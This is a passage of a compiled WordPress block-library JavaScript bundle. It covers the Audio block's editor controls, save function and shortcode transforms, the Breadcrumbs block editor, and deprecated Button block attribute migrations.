4127 hasValue: () => !!autoplay,
4128 onDeselect: () => setAttributes({
4129 autoplay: false
4130 }),
4131 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
4132 external_wp_components_namespaceObject.ToggleControl,
4133 {
4134 __nextHasNoMarginBottom: true,
4135 label: (0,external_wp_i18n_namespaceObject.__)("Autoplay"),
4136 onChange: toggleAttribute("autoplay"),
4137 checked: !!autoplay,
4138 help: getAutoplayHelp
4139 }
4140 )
4141 }
4142 ),
4143 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
4144 external_wp_components_namespaceObject.__experimentalToolsPanelItem,
4145 {
4146 label: (0,external_wp_i18n_namespaceObject.__)("Loop"),
4147 isShownByDefault: true,
4148 hasValue: () => !!loop,
4149 onDeselect: () => setAttributes({
4150 loop: false
4151 }),
4152 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
4153 external_wp_components_namespaceObject.ToggleControl,
4154 {
4155 __nextHasNoMarginBottom: true,
4156 label: (0,external_wp_i18n_namespaceObject.__)("Loop"),
4157 onChange: toggleAttribute("loop"),
4158 checked: !!loop
4159 }
4160 )
4161 }
4162 ),
4163 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
4164 external_wp_components_namespaceObject.__experimentalToolsPanelItem,
4165 {
4166 label: (0,external_wp_i18n_namespaceObject.__)("Preload"),
4167 isShownByDefault: true,
4168 hasValue: () => !!preload,
4169 onDeselect: () => setAttributes({
4170 preload: void 0
4171 }),
4172 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
4173 external_wp_components_namespaceObject.SelectControl,
4174 {
4175 __next40pxDefaultSize: true,
4176 __nextHasNoMarginBottom: true,
4177 label: (0,external_wp_i18n_namespaceObject._x)(
4178 "Preload",
4179 "noun; Audio block parameter"
4180 ),
4181 value: preload || "",
4182 onChange: (value) => setAttributes({
4183 preload: value || void 0
4184 }),
4185 options: [
4186 { value: "", label: (0,external_wp_i18n_namespaceObject.__)("Browser default") },
4187 { value: "auto", label: (0,external_wp_i18n_namespaceObject.__)("Auto") },
4188 { value: "metadata", label: (0,external_wp_i18n_namespaceObject.__)("Metadata") },
4189 {
4190 value: "none",
4191 label: (0,external_wp_i18n_namespaceObject._x)("None", "Preload value")
4192 }
4193 ]
4194 }
4195 )
4196 }
4197 )
4198 ]
4199 }
4200 ) }),
4201 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("figure", { ...blockProps, children: [
4202 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Disabled, { isDisabled: !isSingleSelected, children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("audio", { controls: "controls", src: src ?? temporaryURL }) }),
4203 !!temporaryURL && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Spinner, {}),
4204 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
4205 Caption,
4206 {
4207 attributes,
4208 setAttributes,
4209 isSelected: isSingleSelected,
4210 insertBlocksAfter,
4211 label: (0,external_wp_i18n_namespaceObject.__)("Audio caption text"),
4212 showToolbarButton: isSingleSelected && hasNonContentControls
4213 }
4214 )
4215 ] })
4216 ] });
4217}
4218var edit_default = AudioEdit;
4219
4220
4221;// ./node_modules/@wordpress/block-library/build-module/audio/block.json
4222const audio_block_namespaceObject = /*#__PURE__*/JSON.parse('{"$schema":"https://schemas.wp.org/trunk/block.json","apiVersion":3,"name":"core/audio","title":"Audio","category":"media","description":"Embed a simple audio player.","keywords":["music","sound","podcast","recording"],"textdomain":"default","attributes":{"blob":{"type":"string","role":"local"},"src":{"type":"string","source":"attribute","selector":"audio","attribute":"src","role":"content"},"caption":{"type":"rich-text","source":"rich-text","selector":"figcaption","role":"content"},"id":{"type":"number","role":"content"},"autoplay":{"type":"boolean","source":"attribute","selector":"audio","attribute":"autoplay"},"loop":{"type":"boolean","source":"attribute","selector":"audio","attribute":"loop"},"preload":{"type":"string","source":"attribute","selector":"audio","attribute":"preload"}},"supports":{"anchor":true,"align":true,"spacing":{"margin":true,"padding":true,"__experimentalDefaultControls":{"margin":false,"padding":false}},"interactivity":{"clientNavigation":true}},"editorStyle":"wp-block-audio-editor","style":"wp-block-audio"}');
4223;// ./node_modules/@wordpress/block-library/build-module/audio/save.js
4224
4225
4226function audio_save_save({ attributes }) {
4227 const { autoplay, caption, loop, preload, src } = attributes;
4228 return src && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("figure", { ...external_wp_blockEditor_namespaceObject.useBlockProps.save(), children: [
4229 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
4230 "audio",
4231 {
4232 controls: "controls",
4233 src,
4234 autoPlay: autoplay,
4235 loop,
4236 preload
4237 }
4238 ),
4239 !external_wp_blockEditor_namespaceObject.RichText.isEmpty(caption) && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
4240 external_wp_blockEditor_namespaceObject.RichText.Content,
4241 {
4242 tagName: "figcaption",
4243 value: caption,
4244 className: (0,external_wp_blockEditor_namespaceObject.__experimentalGetElementClassName)(
4245 "caption"
4246 )
4247 }
4248 )
4249 ] });
4250}
4251
4252
4253;// ./node_modules/@wordpress/block-library/build-module/audio/transforms.js
4254
4255
4256const transforms = {
4257 from: [
4258 {
4259 type: "files",
4260 isMatch(files) {
4261 return files.length === 1 && files[0].type.indexOf("audio/") === 0;
4262 },
4263 transform(files) {
4264 const file = files[0];
4265 const block = (0,external_wp_blocks_namespaceObject.createBlock)("core/audio", {
4266 blob: (0,external_wp_blob_namespaceObject.createBlobURL)(file)
4267 });
4268 return block;
4269 }
4270 },
4271 {
4272 type: "shortcode",
4273 tag: "audio",
4274 attributes: {
4275 src: {
4276 type: "string",
4277 shortcode: ({
4278 named: { src, mp3, m4a, ogg, wav, wma }
4279 }) => {
4280 return src || mp3 || m4a || ogg || wav || wma;
4281 }
4282 },
4283 loop: {
4284 type: "string",
4285 shortcode: ({ named: { loop } }) => {
4286 return loop;
4287 }
4288 },
4289 autoplay: {
4290 type: "string",
4291 shortcode: ({ named: { autoplay } }) => {
4292 return autoplay;
4293 }
4294 },
4295 preload: {
4296 type: "string",
4297 shortcode: ({ named: { preload } }) => {
4298 return preload;
4299 }
4300 }
4301 }
4302 }
4303 ]
4304};
4305var transforms_default = transforms;
4306
4307
4308;// ./node_modules/@wordpress/block-library/build-module/audio/index.js
4309
4310
4311
4312
4313
4314
4315
4316const { name: audio_name } = audio_block_namespaceObject;
4317const audio_settings = {
4318 icon: audio_default,
4319 example: {
4320 attributes: {
4321 src: "https://upload.wikimedia.org/wikipedia/commons/d/dd/Armstrong_Small_Step.ogg"
4322 },
4323 viewportWidth: 350
4324 },
4325 transforms: transforms_default,
4326 deprecated: deprecated_deprecated_default,
4327 edit: edit_default,
4328 save: audio_save_save
4329};
4330const audio_init = () => initBlock({ name: audio_name, metadata: audio_block_namespaceObject, settings: audio_settings });
4331
4332
4333;// ./node_modules/@wordpress/icons/build-module/library/breadcrumbs.js
4334
4335
4336var breadcrumbs_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M4 13.5h3v-3H4v3Zm6-3.5 2 2-2 2 1 1 3-3-3-3-1 1Zm7 .5v3h3v-3h-3Z" }) });
4337
4338
4339;// ./node_modules/@wordpress/block-library/build-module/breadcrumbs/block.json
4340const breadcrumbs_block_namespaceObject = /*#__PURE__*/JSON.parse('{"$schema":"https://schemas.wp.org/trunk/block.json","apiVersion":3,"name":"core/breadcrumbs","title":"Breadcrumbs","__experimental":true,"category":"theme","description":"Display a breadcrumb trail for hierarchical post types or based on taxonomy terms.","textdomain":"default","attributes":{"type":{"type":"string","default":"auto","enum":["auto","postWithTerms","postWithAncestors"]},"separator":{"type":"string","default":"/"},"showHomeLink":{"type":"boolean","default":true}},"usesContext":["postId","postType","templateSlug"],"supports":{"html":false,"spacing":{"margin":true,"padding":true},"color":{"gradients":true,"link":true,"__experimentalDefaultControls":{"background":true,"text":true}},"__experimentalBorder":{"radius":true,"color":true,"width":true,"style":true,"__experimentalDefaultControls":{"radius":false,"color":true,"width":true,"style":true}},"typography":{"fontSize":true,"lineHeight":true,"__experimentalFontFamily":true,"__experimentalFontWeight":true,"__experimentalFontStyle":true,"__experimentalTextTransform":true,"__experimentalTextDecoration":true,"__experimentalLetterSpacing":true,"__experimentalDefaultControls":{"fontSize":true}},"interactivity":{"clientNavigation":true}},"style":"wp-block-breadcrumbs"}');
4341;// ./node_modules/@wordpress/block-library/build-module/breadcrumbs/edit.js
4342
4343
4344
4345
4346
4347
4348
4349
4350
4351const separatorDefaultValue = "/";
4352const typeDefaultValue = "auto";
4353const BREADCRUMB_TYPES = {
4354 auto: {
4355 help: (0,external_wp_i18n_namespaceObject.__)(
4356 "Try to automatically determine the best type of breadcrumb for the template."
4357 )
4358 },
4359 postWithAncestors: {
4360 help: (0,external_wp_i18n_namespaceObject.__)(
4361 "Shows breadcrumbs based on post hierarchy. Only works for hierarchical post types."
4362 ),
4363 placeholderItems: [(0,external_wp_i18n_namespaceObject.__)("Ancestor"), (0,external_wp_i18n_namespaceObject.__)("Parent")]
4364 },
4365 postWithTerms: {
4366 help: (0,external_wp_i18n_namespaceObject.__)(
4367 "Shows breadcrumbs based on taxonomy terms. Chooses the first taxonomy with assigned terms and includes ancestors if the taxonomy is hierarchical."
4368 ),
4369 placeholderItems: [(0,external_wp_i18n_namespaceObject.__)("Category")]
4370 }
4371};
4372function BreadcrumbEdit({
4373 attributes,
4374 setAttributes,
4375 context: { postId, postType, templateSlug }
4376}) {
4377 const { separator, showHomeLink, type } = attributes;
4378 const { post, isPostTypeHierarchical, hasTermsAssigned, isLoading } = (0,external_wp_data_namespaceObject.useSelect)(
4379 (select) => {
4380 if (!postType) {
4381 return {};
4382 }
4383 const _post = select(external_wp_coreData_namespaceObject.store).getEntityRecord(
4384 "postType",
4385 postType,
4386 postId
4387 );
4388 const postTypeObject = select(external_wp_coreData_namespaceObject.store).getPostType(postType);
4389 const postTypeHasTaxonomies = postTypeObject && postTypeObject.taxonomies.length;
4390 let taxonomies;
4391 if (postTypeHasTaxonomies) {
4392 taxonomies = select(external_wp_coreData_namespaceObject.store).getTaxonomies({
4393 type: postType,
4394 per_page: -1
4395 });
4396 }
4397 return {
4398 post: _post,
4399 isPostTypeHierarchical: postTypeObject?.hierarchical,
4400 hasTermsAssigned: _post && (taxonomies || []).filter(
4401 ({ visibility }) => visibility?.publicly_queryable
4402 ).some((taxonomy) => {
4403 return !!_post[taxonomy.rest_base]?.length;
4404 }),
4405 isLoading: !_post || !postTypeObject || postTypeHasTaxonomies && !taxonomies
4406 };
4407 },
4408 [postType, postId]
4409 );
4410 const [invalidationKey, setInvalidationKey] = (0,external_wp_element_namespaceObject.useState)(0);
4411 (0,external_wp_element_namespaceObject.useEffect)(() => {
4412 setInvalidationKey((c) => c + 1);
4413 }, [post]);
4414 const blockProps = (0,external_wp_blockEditor_namespaceObject.useBlockProps)();
4415 const dropdownMenuProps = useToolsPanelDropdownMenuProps();
4416 const { content } = (0,external_wp_serverSideRender_namespaceObject.useServerSideRender)({
4417 attributes,
4418 skipBlockSupportAttributes: true,
4419 block: "core/breadcrumbs",
4420 urlQueryArgs: { post_id: postId, invalidationKey }
4421 });
4422 if (isLoading) {
4423 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { ...blockProps, children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Spinner, {}) });
4424 }
4425 let breadcrumbsType;
4426 const isSpecificSupportedTypeSet = [
4427 "postWithAncestors",
4428 "postWithTerms"
4429 ].includes(type);
4430 if (isSpecificSupportedTypeSet) {
4431 breadcrumbsType = type;
4432 } else {
4433 breadcrumbsType = isPostTypeHierarchical ? "postWithAncestors" : "postWithTerms";
4434 }
4435 let placeholder = null;
4436 const showPlaceholder = !postId || !postType || // When `templateSlug` is set only show placeholder if the post type is not.
4437 // This is needed because when we are showing the template in post editor we
4438 // want to show the real breadcrumbs if we have the post type.
4439 templateSlug && !postType || breadcrumbsType === "postWithAncestors" && !isPostTypeHierarchical || breadcrumbsType === "postWithTerms" && !hasTermsAssigned;
4440 if (showPlaceholder) {
4441 const placeholderItems = [
4442 showHomeLink && (0,external_wp_i18n_namespaceObject.__)("Home"),
4443 // For now if we are adding this in a template show a generic placeholder.
4444 ...templateSlug && !isSpecificSupportedTypeSet ? [(0,external_wp_i18n_namespaceObject.__)("Page")] : BREADCRUMB_TYPES[breadcrumbsType].placeholderItems
4445 ].filter(Boolean);
4446 placeholder = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
4447 "nav",
4448 {
4449 style: {
4450 "--separator": `'${separator}'`
4451 },
4452 inert: "true",
4453 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("ol", { children: [
4454 placeholderItems.map((text, index) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("li", { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("a", { href: `#breadcrumbs-pseudo-link-${index}`, children: text }) }, index)),
4455 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("li", { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("span", { "aria-current": "page", children: (0,external_wp_i18n_namespaceObject.__)("Current") }) })
4456 ] })
4457 }
4458 );
4459 }
4460 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
4461 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.InspectorControls, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
4462 external_wp_components_namespaceObject.__experimentalToolsPanel,
4463 {
4464 label: (0,external_wp_i18n_namespaceObject.__)("Settings"),
4465 resetAll: () => {
4466 setAttributes({
4467 separator: separatorDefaultValue,
4468 showHomeLink: true,
4469 type: typeDefaultValue
4470 });
4471 },
4472 dropdownMenuProps,
4473 children: [
4474 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
4475 external_wp_components_namespaceObject.__experimentalToolsPanelItem,
4476 {
4477 label: (0,external_wp_i18n_namespaceObject.__)("Type"),
4478 isShownByDefault: true,
4479 hasValue: () => type !== typeDefaultValue,
4480 onDeselect: () => setAttributes({
4481 type: typeDefaultValue
4482 }),
4483 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
4484 external_wp_components_namespaceObject.SelectControl,
4485 {
4486 __nextHasNoMarginBottom: true,
4487 __next40pxDefaultSize: true,
4488 label: (0,external_wp_i18n_namespaceObject.__)("Type"),
4489 value: type,
4490 onChange: (value) => setAttributes({ type: value }),
4491 options: [
4492 {
4493 label: (0,external_wp_i18n_namespaceObject.__)("Auto"),
4494 value: "auto"
4495 },
4496 {
4497 label: (0,external_wp_i18n_namespaceObject.__)("Post with ancestors"),
4498 value: "postWithAncestors"
4499 },
4500 {
4501 label: (0,external_wp_i18n_namespaceObject.__)("Post with terms"),
4502 value: "postWithTerms"
4503 }
4504 ],
4505 help: BREADCRUMB_TYPES[type].help
4506 }
4507 )
4508 }
4509 ),
4510 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
4511 external_wp_components_namespaceObject.__experimentalToolsPanelItem,
4512 {
4513 label: (0,external_wp_i18n_namespaceObject.__)("Show home link"),
4514 isShownByDefault: true,
4515 hasValue: () => !showHomeLink,
4516 onDeselect: () => setAttributes({
4517 showHomeLink: true
4518 }),
4519 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
4520 external_wp_components_namespaceObject.ToggleControl,
4521 {
4522 __nextHasNoMarginBottom: true,
4523 label: (0,external_wp_i18n_namespaceObject.__)("Show home link"),
4524 onChange: (value) => setAttributes({ showHomeLink: value }),
4525 checked: showHomeLink
4526 }
4527 )
4528 }
4529 ),
4530 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
4531 external_wp_components_namespaceObject.__experimentalToolsPanelItem,
4532 {
4533 label: (0,external_wp_i18n_namespaceObject.__)("Separator"),
4534 isShownByDefault: true,
4535 hasValue: () => separator !== separatorDefaultValue,
4536 onDeselect: () => setAttributes({
4537 separator: separatorDefaultValue
4538 }),
4539 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
4540 external_wp_components_namespaceObject.TextControl,
4541 {
4542 __nextHasNoMarginBottom: true,
4543 __next40pxDefaultSize: true,
4544 autoComplete: "off",
4545 label: (0,external_wp_i18n_namespaceObject.__)("Separator"),
4546 value: separator,
4547 onChange: (value) => setAttributes({ separator: value }),
4548 onBlur: () => {
4549 if (!separator) {
4550 setAttributes({
4551 separator: separatorDefaultValue
4552 });
4553 }
4554 }
4555 }
4556 )
4557 }
4558 )
4559 ]
4560 }
4561 ) }),
4562 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { ...blockProps, children: showPlaceholder ? placeholder : /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_element_namespaceObject.RawHTML, { inert: "true", children: content }) })
4563 ] });
4564}
4565
4566
4567;// ./node_modules/@wordpress/block-library/build-module/breadcrumbs/index.js
4568
4569
4570
4571
4572const { name: breadcrumbs_name } = breadcrumbs_block_namespaceObject;
4573const breadcrumbs_settings = {
4574 icon: breadcrumbs_default,
4575 edit: BreadcrumbEdit
4576};
4577const breadcrumbs_init = () => initBlock({ name: breadcrumbs_name, metadata: breadcrumbs_block_namespaceObject, settings: breadcrumbs_settings });
4578
4579
4580;// ./node_modules/@wordpress/icons/build-module/library/button.js
4581
4582
4583var button_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { viewBox: "0 0 24 24", xmlns: "http://www.w3.org/2000/svg", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M8 12.5h8V11H8v1.5Z M19 6.5H5a2 2 0 0 0-2 2V15a2 2 0 0 0 2 2h14a2 2 0 0 0 2-2V8.5a2 2 0 0 0-2-2ZM5 8h14a.5.5 0 0 1 .5.5V15a.5.5 0 0 1-.5.5H5a.5.5 0 0 1-.5-.5V8.5A.5.5 0 0 1 5 8Z" }) });
4584
4585
4586;// ./node_modules/@wordpress/block-library/build-module/utils/migrate-font-family.js
4587
4588
4589const { cleanEmptyObject } = unlock(external_wp_blockEditor_namespaceObject.privateApis);
4590function migrate_font_family_default(attributes) {
4591 if (!attributes?.style?.typography?.fontFamily) {
4592 return attributes;
4593 }
4594 const { fontFamily, ...typography } = attributes.style.typography;
4595 return {
4596 ...attributes,
4597 style: cleanEmptyObject({
4598 ...attributes.style,
4599 typography
4600 }),
4601 fontFamily: fontFamily.split("|").pop()
4602 };
4603}
4604
4605
4606;// ./node_modules/@wordpress/block-library/build-module/button/deprecated.js
4607
4608
4609
4610
4611
4612const migrateBorderRadius = (attributes) => {
4613 const { borderRadius, ...newAttributes } = attributes;
4614 const oldBorderRadius = [
4615 borderRadius,
4616 newAttributes.style?.border?.radius
4617 ].find((possibleBorderRadius) => {
4618 return typeof possibleBorderRadius === "number" && possibleBorderRadius !== 0;
4619 });
4620 if (!oldBorderRadius) {
4621 return newAttributes;
4622 }
4623 return {
4624 ...newAttributes,
4625 style: {
4626 ...newAttributes.style,
4627 border: {
4628 ...newAttributes.style?.border,
4629 radius: `${oldBorderRadius}px`
4630 }
4631 }
4632 };
4633};
4634function migrateAlign(attributes) {
4635 if (!attributes.align) {
4636 return attributes;
4637 }
4638 const { align, ...otherAttributes } = attributes;
4639 return {
4640 ...otherAttributes,
4641 className: dist_clsx(
4642 otherAttributes.className,
4643 `align${attributes.align}`
4644 )
4645 };
4646}
4647const migrateCustomColorsAndGradients = (attributes) => {
4648 if (!attributes.customTextColor && !attributes.customBackgroundColor && !attributes.customGradient) {
4649 return attributes;
4650 }
4651 const style = { color: {} };
4652 if (attributes.customTextColor) {
4653 style.color.text = attributes.customTextColor;
4654 }
4655 if (attributes.customBackgroundColor) {
4656 style.color.background = attributes.customBackgroundColor;
4657 }
4658 if (attributes.customGradient) {
4659 style.color.gradient = attributes.customGradient;
4660 }
4661 const {
4662 customTextColor,
4663 customBackgroundColor,
4664 customGradient,
4665 ...restAttributes
4666 } = attributes;
4667 return {
4668 ...restAttributes,
4669 style
4670 };
4671};
4672const oldColorsMigration = (attributes) => {
4673 const { color, textColor, ...restAttributes } = {
4674 ...attributes,
4675 customTextColor: attributes.textColor && "#" === attributes.textColor[0] ? attributes.textColor : void 0,
4676 customBackgroundColor: attributes.color && "#" === attributes.color[0] ? attributes.color : void 0
4677 };
4678 return migrateCustomColorsAndGradients(restAttributes);
4679};
4680const blockAttributes = {
4681 url: {
4682 type: "string",
4683 source: "attribute",
4684 selector: "a",
4685 attribute: "href"
4686 },
4687 title: {
4688 type: "string",
4689 source: "attribute",
4690 selector: "a",
4691 attribute: "title"
4692 },
4693 text: {
4694 type: "string",
4695 source: "html",
4696 selector: "a"
4697 }
4698};
4699const v12 = {
4700 attributes: {
4701 tagName: {
4702 type: "string",
4703 enum: ["a", "button"],
4704 default: "a"
4705 },
4706 type: {
4707 type: "string",
4708 default: "button"
4709 },
4710 textAlign: {
4711 type: "string"
4712 },
4713 url: {
4714 type: "string",
4715 source: "attribute",
4716 selector: "a",
4717 attribute: "href"
4718 },
4719 title: {
4720 type: "string",
4721 source: "attribute",
4722 selector: "a,button",
4723 attribute: "title",
4724 role: "content"
4725 },
4726 text: {
4727 type: "rich-text",
4728 source: "rich-text",
4729 selector: "a,button",
4730 role: "content"
4731 },
4732 linkTarget: {
4733 type: "string",
4734 source: "attribute",
4735 selector: "a",
4736 attribute: "target",
4737 role: "content"
4738 },
4739 rel: {
4740 type: "string",
4741 source: "attribute",
4742 selector: "a",
4743 attribute: "rel",
4744 role: "content"
4745 },
4746 placeholder: {
4747 type: "string"
4748 },
4749 backgroundColor: {
4750 type: "string"
4751 },
4752 textColor: {
4753 type: "string"
4754 },
4755 gradient: {
4756 type: "string"
4757 },
4758 width: {
4759 type: "number"
4760 }
4761 },
4762 supports: {
4763 anchor: true,
4764 align: true,
4765 alignWide: false,
4766 color: {
4767 __experimentalSkipSerialization: true,
4768 gradients: true,
4769 __experimentalDefaultControls: {
4770 background: true,
4771 text: true
4772 }
4773 },
4774 typography: {
4775 fontSize: true,
4776 lineHeight: true,
4777 __experimentalFontFamily: true,
4778 __experimentalFontWeight: true,
4779 __experimentalFontStyle: true,
4780 __experimentalTextTransform: true,
4781 __experimentalTextDecoration: true,
4782 __experimentalLetterSpacing: true,
4783 __experimentalWritingMode: true,
4784 __experimentalDefaultControls: {
4785 fontSize: true
4786 }
4787 },
4788 reusable: false,
4789 shadow: {
4790 __experimentalSkipSerialization: true
4791 },
4792 spacing: {
4793 __experimentalSkipSerialization: true,
4794 padding: ["horizontal", "vertical"],
4795 __experimentalDefaultControls: {
4796 padding: true
4797 }
4798 },
4799 __experimentalBorder: {
4800 color: true,
4801 radius: true,
4802 style: true,
4803 width: true,
4804 __experimentalSkipSerialization: true,
4805 __experimentalDefaultControls: {
4806 color: true,
4807 radius: true,
4808 style: true,
4809 width: true
4810 }
4811 },
4812 __experimentalSelector: ".wp-block-button__link",
4813 interactivity: {
4814 clientNavigation: true
4815 }
4816 },
4817 save({ attributes, className }) {
4818 const {
4819 tagName,
4820 type,
4821 textAlign,
4822 fontSize,
4823 linkTarget,
4824 rel,
4825 style,
4826 text,
4827 title,
4828 url,
4829 width
4830 } = attributes;
4831 const TagName = tagName || "a";
4832 const isButtonTag = "button" === TagName;
4833 const buttonType = type || "button";
4834 const borderProps = (0,external_wp_blockEditor_namespaceObject.__experimentalGetBorderClassesAndStyles)(attributes);
4835 const colorProps = (0,external_wp_blockEditor_namespaceObject.__experimentalGetColorClassesAndStyles)(attributes);
4836 const spacingProps = (0,external_wp_blockEditor_namespaceObject.__experimentalGetSpacingClassesAndStyles)(attributes);
4837 const shadowProps = (0,external_wp_blockEditor_namespaceObject.__experimentalGetShadowClassesAndStyles)(attributes);
4838 const buttonClasses = dist_clsx(
4839 "wp-block-button__link",
4840 colorProps.className,
4841 borderProps.className,
4842 {
4843 [`has-text-align-${textAlign}`]: textAlign,
4844 // For backwards compatibility add style that isn't provided via
4845 // block support.
4846 "no-border-radius": style?.border?.radius === 0
4847 },
4848 (0,external_wp_blockEditor_namespaceObject.__experimentalGetElementClassName)("button")
4849 );
4850 const buttonStyle = {
4851 ...borderProps.style,
4852 ...colorProps.style,
4853 ...spacingProps.style,
4854 ...shadowProps.style
4855 };
4856 const wrapperClasses = dist_clsx(className, {
4857 [`has-custom-width wp-block-button__width-${width}`]: width,
4858 [`has-custom-font-size`]: fontSize || style?.typography?.fontSize
4859 });
4860 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { ...external_wp_blockEditor_namespaceObject.useBlockProps.save({ className: wrapperClasses }), children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
4861 external_wp_blockEditor_namespaceObject.RichText.Content,
4862 {
4863 tagName: TagName,
4864 type: isButtonTag ? buttonType : null,
4865 className: buttonClasses,
4866 href: isButtonTag ? null : url,
4867 title,
4868 style: buttonStyle,
4869 value: text,
4870 target: isButtonTag ? null : linkTarget,
4871 rel: isButtonTag ? null : rel
4872 }
4873 ) });
4874 }
4875};
4876const v11 = {
4877 attributes: {
4878 url: {
4879 type: "string",
4880 source: "attribute",
4881 selector: "a",
4882 attribute: "href"
4883 },
4884 title: {
4885 type: "string",
4886 source: "attribute",
4887 selector: "a",
4888 attribute: "title"
4889 },
4890 text: {
4891 type: "string",
4892 source: "html",
4893 selector: "a"
4894 },
4895 linkTarget: {
4896 type: "string",
4897 source: "attribute",
4898 selector: "a",
4899 attribute: "target"
4900 },
4901 rel: {
4902 type: "string",
4903 source: "attribute",
4904 selector: "a",
4905 attribute: "rel"
4906 },
4907 placeholder: {
4908 type: "string"
4909 },
4910 backgroundColor: {
4911 type: "string"
4912 },
4913 textColor: {
4914 type: "string"
4915 },
4916 gradient: {
4917 type: "string"
4918 },
4919 width: {
4920 type: "number"
4921 }
4922 },
4923 supports: {
4924 anchor: true,
4925 align: true,
4926 alignWide: false,
4927 color: {
4928 __experimentalSkipSerialization: true,
4929 gradients: true,
4930 __experimentalDefaultControls: {
4931 background: true,
4932 text: true
4933 }
4934 },
4935 typography: {
4936 fontSize: true,
4937 __experimentalFontFamily: true,
4938 __experimentalDefaultControls: {
4939 fontSize: true
4940 }
4941 },
4942 reusable: false,
4943 spacing: {
4944 __experimentalSkipSerialization: true,
4945 padding: ["horizontal", "vertical"],
4946 __experimentalDefaultControls: {
4947 padding: true
4948 }
4949 },
4950 __experimentalBorder: {
4951 radius: true,
4952 __experimentalSkipSerialization: true,
4953 __experimentalDefaultControls: {
4954 radius: true
4955 }
4956 },
4957 __experimentalSelector: ".wp-block-button__link"
4958 },
4959 save({ attributes, className }) {
4960 const { fontSize, linkTarget, rel, style, text, title, url, width } = attributes;
4961 if (!text) {
4962 return null;
4963 }
4964 const borderProps = (0,external_wp_blockEditor_namespaceObject.__experimentalGetBorderClassesAndStyles)(attributes);
4965 const colorProps = (0,external_wp_blockEditor_namespaceObject.__experimentalGetColorClassesAndStyles)(attributes);
4966 const spacingProps = (0,external_wp_blockEditor_namespaceObject.__experimentalGetSpacingClassesAndStyles)(attributes);
4967 const buttonClasses = dist_clsx(
4968 "wp-block-button__link",
4969 colorProps.className,
4970 borderProps.className,
4971 {
4972 // For backwards compatibility add style that isn't provided via
4973 // block support.
4974 "no-border-radius": style?.border?.radius === 0
4975 }
4976 );
4977 const buttonStyle = {
4978 ...borderProps.style,
4979 ...colorProps.style,
4980 ...spacingProps.style
4981 };
4982 const wrapperClasses = dist_clsx(className, {
4983 [`has-custom-width wp-block-button__width-${width}`]: width,
4984 [`has-custom-font-size`]: fontSize || style?.typography?.fontSize
4985 });
4986 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { ...external_wp_blockEditor_namespaceObject.useBlockProps.save({ className: wrapperClasses }), children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
4987 external_wp_blockEditor_namespaceObject.RichText.Content,
4988 {
4989 tagName: "a",
4990 className: buttonClasses,
4991 href: url,
4992 title,
4993 style: buttonStyle,
4994 value: text,
4995 target: linkTarget,
4996 rel
4997 }
4998 ) });
4999 }
5000};
5001const v10 = {
5002 attributes: {
5003 url: {
5004 type: "string",
5005 source: "attribute",
5006 selector: "a",
5007 attribute: "href"
5008 },
5009 title: {
5010 type: "string",
5011 source: "attribute",
5012 selector: "a",
5013 attribute: "title"
5014 },
5015 text: {
5016 type: "string",
5017 source: "html",
5018 selector: "a"
5019 },
5020 linkTarget: {
5021 type: "string",
5022 source: "attribute",
5023 selector: "a",
5024 attribute: "target"
5025 },
5026 rel: {
5027 type: "string",
5028 source: "attribute",
